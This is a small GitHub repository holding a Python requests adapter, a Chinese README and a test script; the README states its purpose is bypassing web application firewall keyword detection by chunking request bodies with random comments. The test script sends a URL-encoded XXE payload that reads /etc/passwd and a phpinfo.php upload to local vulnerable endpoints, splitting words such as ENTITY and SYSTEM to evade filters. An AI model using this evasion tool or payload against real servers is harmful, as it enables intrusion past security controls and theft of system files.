├── ChunkedHTTPAdapter.py ├── README.md ├── tcp_flow.png └── test.py /ChunkedHTTPAdapter.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | ''' 3 | Origin Source from request.adapters.HTTPAdaptor 4 | Modify by fnmsd 5 | ''' 6 | from requests.adapters import HTTPAdapter 7 | import socket 8 | from urllib3.util import Timeout as TimeoutSauce 9 | from urllib3.exceptions import ClosedPoolError 10 | from urllib3.exceptions import ConnectTimeoutError 11 | from urllib3.exceptions import HTTPError as _HTTPError 12 | from urllib3.exceptions import MaxRetryError 13 | from urllib3.exceptions import NewConnectionError 14 | from urllib3.exceptions import ProxyError as _ProxyError 15 | from urllib3.exceptions import ProtocolError 16 | from urllib3.exceptions import ReadTimeoutError 17 | from urllib3.exceptions import SSLError as _SSLError 18 | from urllib3.exceptions import ResponseError 19 | from requests.exceptions import (ConnectionError, ConnectTimeout, ReadTimeout, SSLError, ProxyError, RetryError) 20 | from urllib3.response import HTTPResponse 21 | from string import ascii_letters,octdigits 22 | import random 23 | 24 | DEFAULT_POOL_TIMEOUT = None 25 | 26 | 27 | class ChunkedHTTPAdapter(HTTPAdapter): 28 | 29 | 30 | 31 | _keyword_list = [] 32 | 33 | def get_random_lenth(self): 34 | return random.randint(10, 1000) 35 | 36 | get_chunk_length = get_random_lenth 37 | 38 | 39 | py_version = 2 40 | 41 | def checkKeyword(self, data): 42 | data = str(data) 43 | _ret = list(map(lambda z:z[1]+int(z[0]/2), 44 | filter(lambda y:y[1]!=-1, 45 | map(lambda x: (len(x), data.find(x)), self.keyword_list) 46 | ) 47 | )) 48 | 49 | if len(_ret) == 0: 50 | return -1 51 | else: 52 | return min(_ret) 53 | 54 | self._keyword_list = [] 55 | 56 | @property 57 | def keyword_list(self): 58 | #print("get name called") 59 | return self._keyword_list 60 | 61 | @keyword_list.setter 62 | def keyword_list(self,keyword_list): 63 | self._keyword_list = list(filter(lambda x:isinstance(x,str) and len(x)>1,keyword_list)) 64 | if len(keyword_list) != len(self._keyword_list): 65 | print("Dropped Keyword:"+",".join(list(filter(lambda x:not(isinstance(x,str) and len(x)>1),keyword_list)))) 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | def __init__(self,chunk_length=None): 74 | if chunk_length is None: 75 | self.get_chunk_length = self.get_random_lenth 76 | else: 77 | if isinstance(chunk_length,int): 78 | self.get_chunk_length = lambda:chunk_length 79 | elif isinstance(chunk_length,function): 80 | self.get_chunk_length = chunk_length 81 | else: 82 | raise Exception("Unkown type {}"% type(chunk_length)) 83 | 84 | import sys 85 | if sys.version_info >= (3,0): 86 | self.py_version = 3 87 | 88 | 89 | 90 | super(ChunkedHTTPAdapter, self).__init__() 91 | 92 | def gen_data(self,request_data): 93 | pointer = 0 94 | while pointer < len(request_data): 95 | now_length = self.get_chunk_length() 96 | new_length = self.checkKeyword(request_data[pointer:pointer+now_length]) 97 | if(new_length != -1): 98 | now_length = new_length 99 | yield request_data[pointer:pointer+now_length] 100 | pointer += now_length 101 | 102 | 103 | def get_random(self): 104 | length = random.randint(1,15) 105 | _ret = "" 106 | for i in range(length): 107 | _ret += random.choice(ascii_letters+octdigits) 108 | return _ret 109 | def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): 110 | """Sends PreparedRequest object. Returns Response object. 111 | 112 | :param request: The :class:`PreparedRequest ` being sent. 113 | :param stream: (optional) Whether to stream the request content. 114 | :param timeout: (optional) How long to wait for the server to send 115 | data before giving up, as a float, or a :ref:`(connect timeout, 116 | read timeout) ` tuple. 117 | :type timeout: float or tuple or urllib3 Timeout object 118 | :param verify: (optional) Either a boolean, in which case it controls whether 119 | we verify the server's TLS certificate, or a string, in which case it 120 | must be a path to a CA bundle to use 121 | :param cert: (optional) Any user-provided SSL certificate to be trusted. 122 | :param proxies: (optional) The proxies dictionary to apply to the request. 123 | :rtype: requests.Response 124 | """ 125 | conn = self.get_connection(request.url, proxies) 126 | 127 | self.cert_verify(conn, request.url, verify, cert) 128 | url = self.request_url(request, proxies) 129 | self.add_headers(request) 130 | 131 | 132 | chunked = not (request.body is None or 'Content-Length' in request.headers) 133 | 134 | 135 | #非chunked还存在request.body的情况,自动转换为trunked 136 | if not chunked and request.body is not None: 137 | if request.headers.get("Transfer-Encoding",None) != "chunked": 138 | request.headers["Transfer-Encoding"] = "chunked" 139 | if 'Content-Length' in request.headers: 140 | del request.headers['Content-Length'] 141 | request.body = self.gen_data(request.body) 142 | chunked = True 143 | 144 | 145 | if isinstance(timeout, tuple): 146 | try: 147 | connect, read = timeout 148 | timeout = TimeoutSauce(connect=connect, read=read) 149 | except ValueError as e: 150 | # this may raise a string formatting error. 151 | err = ("Invalid timeout {0}. Pass a (connect, read) " 152 | "timeout tuple, or a single float to set " 153 | "both timeouts to the same value".format(timeout)) 154 | raise ValueError(err) 155 | elif isinstance(timeout, TimeoutSauce): 156 | pass 157 | else: 158 | timeout = TimeoutSauce(connect=timeout, read=timeout) 159 | 160 | try: 161 | if not chunked: 162 | resp = conn.urlopen( 163 | method=request.method, 164 | url=url, 165 | body=request.body, 166 | headers=request.headers, 167 | redirect=False, 168 | assert_same_host=False, 169 | preload_content=False, 170 | decode_content=False, 171 | retries=self.max_retries, 172 | timeout=timeout 173 | ) 174 | 175 | # Send the request. 176 | else: 177 | if hasattr(conn, 'proxy_pool'): 178 | conn = conn.proxy_pool 179 | 180 | low_conn = conn._get_conn(timeout=DEFAULT_POOL_TIMEOUT) 181 | 182 | try: 183 | low_conn.putrequest(request.method, 184 | url, 185 | skip_accept_encoding=True) 186 | 187 | for header, value in request.headers.items(): 188 | low_conn.putheader(header, value) 189 | 190 | low_conn.endheaders() 191 | is_first = True 192 | for i in request.body: 193 | low_conn.send((hex(len(i))[2:]+";"+self.get_random()).encode('utf-8')) 194 | low_conn.send(b'\r\n') 195 | #Python3适配,不确定会不会有问题┑( ̄Д  ̄)┍ 196 | if self.py_version == 2 or isinstance(i,bytes): 197 | low_conn.send(i) 198 | else: 199 | low_conn.send(i.encode()) 200 | low_conn.send(b'\r\n') 201 | 202 | 203 | low_conn.send(b'0\r\n\r\n') 204 | 205 | # Receive the response from the server 206 | try: 207 | # For Python 2.7+ versions, use buffering of HTTP 208 | # responses 209 | r = low_conn.getresponse(buffering=True) 210 | except TypeError: 211 | # For compatibility with Python 2.6 versions and back 212 | r = low_conn.getresponse() 213 | 214 | resp = HTTPResponse.from_httplib( 215 | r, 216 | pool=conn, 217 | connection=low_conn, 218 | preload_content=False, 219 | decode_content=False 220 | ) 221 | except: 222 | # If we hit any problems here, clean up the connection. 223 | # Then, reraise so that we can handle the actual exception. 224 | low_conn.close() 225 | raise 226 | 227 | except (ProtocolError, socket.error) as err: 228 | raise ConnectionError(err, request=request) 229 | 230 | except MaxRetryError as e: 231 | if isinstance(e.reason, ConnectTimeoutError): 232 | # TODO: Remove this in 3.0.0: see #2811 233 | if not isinstance(e.reason, NewConnectionError): 234 | raise ConnectTimeout(e, request=request) 235 | 236 | if isinstance(e.reason, ResponseError): 237 | raise RetryError(e, request=request) 238 | 239 | if isinstance(e.reason, _ProxyError): 240 | raise ProxyError(e, request=request) 241 | 242 | if isinstance(e.reason, _SSLError): 243 | # This branch is for urllib3 v1.22 and later. 244 | raise SSLError(e, request=request) 245 | 246 | raise ConnectionError(e, request=request) 247 | 248 | except ClosedPoolError as e: 249 | raise ConnectionError(e, request=request) 250 | 251 | except _ProxyError as e: 252 | raise ProxyError(e) 253 | 254 | except (_SSLError, _HTTPError) as e: 255 | if isinstance(e, _SSLError): 256 | # This branch is for urllib3 versions earlier than v1.22 257 | raise SSLError(e, request=request) 258 | elif isinstance(e, ReadTimeoutError): 259 | raise ReadTimeout(e, request=request) 260 | else: 261 | raise 262 | 263 | return self.build_response(request, resp) 264 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ChunkedHTTPAdapter 2 | ## 说明 3 | 4 | 参考文章[《利用分块传输吊打所有WAF》](https://www.anquanke.com/post/id/169738)所提供的方法,继承改写了requests默认的HTTPAdapter,使其能自动将request body改为Chunked形式并添加随机注释,不必自己实现迭代器。 5 | 6 | 支持data参数和files参数(仍然可以给data参数传产生器,有随机注释)。 7 | 8 | 可设置必须分割的关键词,用来绕过WAF的关键词检测(大小写敏感)。 9 | 10 | 在python2下进行编写,简单的适配了python3。 11 | 12 | 详细使用参考test.py 13 | 14 | 具体效果可以使用Wireshark抓包,查看TCP流: 15 | 16 | ![tcp_flow](tcp_flow.png) 17 | 18 | 19 | 20 | ## 参考: 21 | 22 | 1. Requests 高级用法 块编码请求 23 | 24 | http://docs.python-requests.org/zh_CN/latest/user/advanced.html#chunk-encoding 25 | 26 | 2. 利用分块传输吊打所有WAF 27 | 28 | https://www.anquanke.com/post/id/169738 29 | 30 | -------------------------------------------------------------------------------- /tcp_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fnmsd/ChunkedHTTPAdapter/09755c4143f942ecfa3b9ece5eb6709ce2465688/tcp_flow.png -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from ChunkedHTTPAdapter import ChunkedHTTPAdapter 3 | import requests 4 | 5 | data = r'data=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE+foo+%5B+++%3C%21ELEMENT+foo+ANY+%3E++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22+%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E' 6 | 7 | achunk_length = 50 8 | def gen(): 9 | for i in range(int(len(data)/achunk_length)+1): 10 | yield data[i*achunk_length:(i*achunk_length)+achunk_length].encode() 11 | 12 | headers={ 13 | "Content-Type":"application/x-www-form-urlencoded" 14 | } 15 | 16 | files = { 17 | 'file':('phpinfo.php',"",'image/png') 18 | } 19 | 20 | 21 | adaptor = ChunkedHTTPAdapter() 22 | ''' 23 | #自己指定分割区间,默认10-1000 24 | import random 25 | adaptor = ChunkedHTTPAdapter(chunk_length=lambda :random.randint(100,1000)) 26 | ''' 27 | #设置需要拆分的关键字,大小写敏感。 28 | adaptor.keyword_list = ["xml",".php","phpinfo","a","ENTITY","SYSTEM"] 29 | s = requests.Session() 30 | s.mount('http://', adaptor) 31 | s.mount('https://', adaptor) 32 | #POST数据 33 | r = s.post("http://127.0.0.1:8000/vulns/xxe.jsp",data=data,headers=headers) 34 | print(r.text) 35 | #POST+上传 36 | r = s.post("http://127.0.0.1:8000/vulns/upload.jsp",files=files) 37 | print(r.text) 38 | 39 | --------------------------------------------------------------------------------